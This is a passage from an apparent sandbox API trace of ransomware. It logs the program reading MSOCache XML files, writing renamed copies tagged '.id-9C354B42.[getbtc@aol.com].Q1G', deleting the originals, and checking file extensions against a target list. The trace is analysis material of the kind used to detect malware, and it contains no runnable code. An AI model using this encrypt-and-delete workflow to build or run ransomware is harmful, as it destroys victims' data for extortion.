Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0036.488] GetLastError () returned 0x0 [0036.488] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0036.501] WriteFile (in: hFile=0x1cc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x900, lpOverlapped=0x0) returned 1 [0036.502] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.502] WriteFile (in: hFile=0x1cc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.502] SetEndOfFile (hFile=0x1cc) returned 1 [0036.502] CloseHandle (hObject=0x1cc) returned 1 [0036.503] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.503] SetEndOfFile (hFile=0x1a0) returned 1 [0036.504] CloseHandle (hObject=0x1a0) returned 1 [0036.504] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.504] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.505] lstrlenW (lpString=".doc") returned 4 [0036.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString=".docx") returned 5 [0036.505] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.505] lstrlenW (lpString=".pdf") returned 4 [0036.505] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString=".xls") returned 4 [0036.505] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString=".xlsx") returned 5 [0036.505] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.505] lstrlenW (lpString=".ppt") returned 4 [0036.505] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.505] lstrlenW (lpString=".zip") returned 4 [0036.505] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.505] lstrlenW (lpString=".rar") returned 4 [0036.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString=".bz2") returned 4 [0036.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString=".7z") returned 3 [0036.505] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.505] lstrlenW (lpString=".dbf") returned 4 [0036.505] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.505] lstrlenW (lpString=".1cd") returned 4 [0036.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.505] lstrlenW (lpString=".jpg") returned 4 [0036.505] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.506] lstrlenW (lpString=".doc") returned 4 [0036.506] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.506] lstrlenW (lpString=".docx") returned 5 [0036.506] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.506] lstrlenW (lpString=".pdf") returned 4 [0036.506] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.506] lstrlenW (lpString=".xls") returned 4 [0036.506] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.506] lstrlenW (lpString=".xlsx") returned 5 [0036.506] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.506] lstrlenW (lpString=".ppt") returned 4 [0036.506] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.506] lstrlenW (lpString=".zip") returned 4 [0036.506] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.506] lstrlenW (lpString=".rar") returned 4 [0036.506] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.506] lstrlenW (lpString=".bz2") returned 4 [0036.506] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.506] lstrlenW (lpString=".7z") returned 3 [0036.506] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.506] lstrlenW (lpString=".dbf") returned 4 [0036.506] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.506] lstrlenW (lpString=".1cd") returned 4 [0036.506] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.506] lstrlenW (lpString=".jpg") returned 4 [0036.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.507] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.507] lstrlenW (lpString="Setup.xml") returned 9 [0036.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.508] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1872) returned 1 [0036.508] CloseHandle (hObject=0x1a0) returned 1 [0036.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0036.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.509] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.509] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0036.509] GetLastError () returned 0x0 [0036.509] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x750, lpOverlapped=0x0) returned 1 [0036.510] WriteFile (in: hFile=0x1cc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x760, lpOverlapped=0x0) returned 1 [0036.511] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.511] WriteFile (in: hFile=0x1cc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.511] SetEndOfFile (hFile=0x1cc) returned 1 [0036.512] CloseHandle (hObject=0x1cc) returned 1 [0036.512] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.512] SetEndOfFile (hFile=0x1a0) returned 1 [0036.513] CloseHandle (hObject=0x1a0) returned 1 [0036.513] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.513] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.513] lstrlenW (lpString=".doc") returned 4 [0036.513] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.513] lstrlenW (lpString=".docx") returned 5 [0036.513] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.514] lstrlenW (lpString=".pdf") returned 4 [0036.514] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString=".xls") returned 4 [0036.514] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString=".xlsx") returned 5 [0036.514] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.514] lstrlenW (lpString=".ppt") returned 4 [0036.514] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.514] lstrlenW (lpString=".zip") returned 4 [0036.514] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.514] lstrlenW (lpString=".rar") returned 4 [0036.514] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString=".bz2") returned 4 [0036.514] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString=".7z") returned 3 [0036.514] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.514] lstrlenW (lpString=".dbf") returned 4 [0036.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.514] lstrlenW (lpString=".1cd") returned 4 [0036.514] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.514] lstrlenW (lpString=".jpg") returned 4 [0036.514] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.514] lstrlenW (lpString=".doc") returned 4 [0036.514] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.514] lstrlenW (lpString=".docx") returned 5 [0036.514] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.514] lstrlenW (lpString=".pdf") returned 4 [0036.515] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.515] lstrlenW (lpString=".xls") returned 4 [0036.515] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.515] lstrlenW (lpString=".xlsx") returned 5 [0036.515] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.515] lstrlenW (lpString=".ppt") returned 4 [0036.515] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.515] lstrlenW (lpString=".zip") returned 4 [0036.515] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.515] lstrlenW (lpString=".rar") returned 4 [0036.515] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.515] lstrlenW (lpString=".bz2") returned 4 [0036.515] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.515] lstrlenW (lpString=".7z") returned 3 [0036.515] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.515] lstrlenW (lpString=".dbf") returned 4 [0036.515] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.515] lstrlenW (lpString=".1cd") returned 4 [0036.515] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.515] lstrlenW (lpString=".jpg") returned 4 [0036.515] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.515] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.515] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0036.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.517] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=913) returned 1 [0036.517] CloseHandle (hObject=0x1a0) returned 1 [0036.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0036.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.517] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.517] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0036.518] GetLastError () returned 0x0 [0036.518] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x391, lpOverlapped=0x0) returned 1 [0036.519] WriteFile (in: hFile=0x1cc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0036.520] ReadFile (in: hFile=0x1a0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.520] WriteFile (in: hFile=0x1cc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0036.520] SetEndOfFile (hFile=0x1cc) returned 1 [0036.520] CloseHandle (hObject=0x1cc) returned 1 [0036.521] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.521] SetEndOfFile (hFile=0x1a0) returned 1 [0036.522] CloseHandle (hObject=0x1a0) returned 1 [0036.522] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.522] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0036.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.522] lstrlenW (lpString=".doc") returned 4 [0036.522] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.522] lstrlenW (lpString=".docx") returned 5 [0036.522] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.522] lstrlenW (lpString=".pdf") returned 4 [0036.522] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.522] lstrlenW (lpString=".xls") returned 4 [0036.522] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.522] lstrlenW (lpString=".xlsx") returned 5 [0036.522] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.522] lstrlenW (lpString=".ppt") returned 4 [0036.522] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.522] lstrlenW (lpString=".zip") returned 4 [0036.522] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.522] lstrlenW (lpString=".rar") returned 4 [0036.523] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString=".bz2") returned 4 [0036.523] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString=".7z") returned 3 [0036.523] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.523] lstrlenW (lpString=".dbf") returned 4 [0036.523] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.523] lstrlenW (lpString=".1cd") returned 4 [0036.523] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.523] lstrlenW (lpString=".jpg") returned 4 [0036.523] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.523] lstrlenW (lpString=".doc") returned 4 [0036.523] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString=".docx") returned 5 [0036.523] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.523] lstrlenW (lpString=".pdf") returned 4 [0036.523] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString=".xls") returned 4 [0036.523] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString=".xlsx") returned 5 [0036.523] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.523] lstrlenW (lpString=".ppt") returned 4 [0036.523] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.523] lstrlenW (lpString=".zip") returned 4 [0036.523] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.524] lstrlenW (lpString=".rar") returned 4 [0036.524] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.524] lstrlenW (lpString=".bz2") returned 4 [0036.524] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.524] lstrlenW (lpString=".7z") returned 3 [0036.524] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.524] lstrlenW (lpString=".dbf") returned 4 [0036.524] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.524] lstrlenW (lpString=".1cd") returned 4 [0036.524] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.524] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0036.524] lstrlenW (lpString=".jpg") returned 4 [0036.524] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.524] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.524] lstrlenW (lpString="Setup.xml") returned 9 [0036.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.524] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1452) returned 1 [0036.524] CloseHandle (hObject=0x1a0) returned 1 [0036.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0036.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.525] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.525] 